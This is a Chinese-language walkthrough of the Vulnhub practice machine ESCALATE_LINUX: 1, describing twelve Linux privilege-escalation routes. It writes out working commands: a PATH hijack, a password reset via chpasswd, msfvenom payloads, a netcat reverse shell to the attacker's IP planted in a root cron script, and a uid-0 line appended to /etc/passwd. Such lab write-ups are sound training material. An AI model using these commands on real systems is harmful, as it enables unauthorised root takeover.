1. 程式人生 > 實用技巧 >Vulnhub-靶機-ESCALATE_LINUX: 1

Vulnhub-靶機-ESCALATE_LINUX: 1

本篇文章僅用於技術交流學習和研究的目的,嚴禁使用文章中的技術用於非法目的和破壞,否則造成一切後果與發表本文章的作者無關

靶機下載之後使用僅主機模式載入到本地VMware Workstation工作站,需要發現目標靶機的IP地址,可以使用nmap,netdiscover,或者arp之類的工具 arp-scan 例如:sudo arp-scan -I eth1 -l 當然也是可以使用Windows環境下mac地址掃描工具都是可以的,那麼本次演示就是arp-scan工具發現

地址:https://www.vulnhub.com/entry/escalate_linux-1,323/

nmap -n -p- -A 192.168.226.7 -o escalate.nmap

nmap掃描結果

看到開放了80埠,瀏覽器訪問看看

發現是預設的apache頁面,那麼爆爆php字尾的路徑看看

居然搞出來了shell.php檔案,訪問看看

上面提示可以通過使用引數執行cmd命令

還真可以執行命令,那麼進行反彈shell提權操作,靶機的描述有12種以上的提權方法,我們慢慢往後看吧,看能搞幾種,首先我們使用metasploit搞下

上面是使用metasploit配置好監聽埠然後將生成的反彈程式碼通過burpsuite進行url編碼然後訪問shell.php的cmd引數命令成功反彈shell,具體如下:

上面操作完畢後,開始進行shell環境使用LinEnum列舉下當前環境

執行列舉指令碼

確認存在8個使用者,那麼有可能每個使用者都有提權的可能性,繼續觀察

看到user4使用者有個計劃任務每5分鐘以root身份執行一個指令碼,這裡可能是其中一個提權的途徑,估計還有很多,那麼我們一個一個來,慢慢提權,先變成友好的shell

方法一:

python -c 'import pty;pty.spawn("/bin/bash")'

上述反饋說明當前通過metasploit反彈的shell是在user6使用者上,那麼我們看看此使用者是否能夠提權,首先查詢下能否執行SUID特權的命令

find / -perm -u=s -type f 2>/dev/null

看到使用者user3下面有個shell命令檔案,能夠使用SUID,去試試看

猜測此shell命令的二進位制檔案裡面含有C語言setuid提權程式碼,所以應該是能提權的,我們執行下看看

方法二:

根據列舉的檔案資訊,確認家目錄user5下面有一個二進位制script檔案,通過strings命令檢視檢視仍然發現含有setuid等關鍵字,但是執行了一下發現跟命令ls執行的結果是一樣的,因為這個指令碼是使用root許可權執行ls命令,所以這裡可以通過全域性環境變數提權,另外這裡如果懂二進位制的話可以使用gdb等分析工具分析二進位制檔案是咋執行的,那麼會對原理了解的更深入,我不是太熟悉這類,就不演示了,下面看我執行此指令碼顯示結果就知道該script二進位制檔案做了什麼

上述顯示結果一樣,都是使用ls命令,那麼通過全域性環境變數提權,可參考:https://www.hackingarticles.in/linux-privilege-escalation-using-path-variable/

成功提權,下面是提權過程的命令

echo "/bin/bash" > ls
chmod +x ls
echo $PATH
export PATH=/tmp:$PATH
cd /home/user5/
./script

方法三:

列舉指令碼發現user4下有的Desktop有一個指令碼是通過計劃任務使用root許可權執行,看了下指令碼的內容,跟提權沒有關係,但是我們要更改這個指令碼,目前反彈的shell是user6沒有對於許可權,具體如下:

所以我們需要進入到user4使用者更改指令碼來達到目的,這裡是不知道user4的密碼,可以通過上一個提權方法直接更改其密碼

echo 'echo "user4:123456" | chpasswd' > ls

切換至user4之後,就可以通過本地kali使用msfvenom生成反彈shell的程式碼,具體如下:

msfvenom -p cmd/unix/reverse_netcat lhost=192.168.226.3 lport=8833 R
可以上述那樣直接在螢幕生成反彈程式碼,也可以像下面一樣,將反彈程式碼生成到一個檔案種
msfvenom -p cmd/unix/reverse_netcat lhost=192.168.226.3 lport=8833 -f raw -o bmfxpe

更改autoscript.sh 內容為如下:

echo "mkfifo /tmp/vnfr; nc 192.168.226.3 8833 0</tmp/vnfr | /bin/sh >/tmp/vnfr 2>&1; rm /tmp/vnfr" > autoscript.sh

本地kali使用nc監聽埠,等待計劃任務執行反彈shell

方法四:

同樣使用全域性環境提權的方法,更改使用者user8的密碼切換至該使用者通過vi編輯器進行提權

方法五:

繼續根據列舉的資訊,確認user7是gid為0的組成員,繼續使用相同的辦法進入user7,切換至user7

因為user7屬於gid為0的組,且/etc/passwd是有寫入的許可權,那麼可以直接通過user7使用者寫入一個uid為0 的使用者bmfx即可提權

echo 'bmfx:$1$bmfx$HuKLopGkC8MwDIxBcpRnr/:0:0:root:/root:/bin/bash' >> /etc/passwd

方法六:

上面的列舉指令碼含有針對NFS的服務,通過列舉的資訊可知NFS服務配置不當導致直接提權,具體原因如下:

由上述資訊可以通過使用者user5生成一個可提權的可執行檔案放在目標靶機執行即可提權,掛載nfs到本地kali,生成一個提權檔案

在目標靶機上執行,奇怪,這邊我提權沒有成功,看到網上有的是提權成功

方法七:

列舉的資訊中有mysql使用者,應該是可以利用的,那麼嘗試使用預設密碼登入看看

切換至mysql使用者,查詢各種檔案, 發現了root賬號和密碼

方法八:

因為上面知道各個使用者的密碼,看看還有哪個使用者沒使用其進行提權,看了下user2沒有,切換過去看看

上述不是tty-shell,變成友好的可互動的tty-shell即可執行,最終提權結果如下:

方法九:

切換至user4,發現root的組裡面有user4和user7,那麼提權的方式跟方法五是一樣的,直接新增uid為0的使用者即可提權

方法十:

看到/home/user3下面有.script.sh指令碼內容同樣是帶setuid的許可權直接執行提權即可

這裡直接執行.script.sh是不能提權的,需要借用執行shell才能提權,因為通過strings命令檢視shell的二進位制檔案發現裡面是呼叫.script.sh 所以套路跟方法一時候一樣的,執行前該下.script.sh指令碼即可

方法十一:

就是通過方法二echo 檢視/etc/shadow檔案,然後讀取root的hash使用jonh爆破密碼即可

方法十二:

直接通過user1的密碼檢視sudo -l 的特權進行提權即可

參考:

https://dpalbd.wordpress.com/ctf-writeup-escalate_linux-1/

https://blog.csdn.net/qq_34801745/article/details/104144580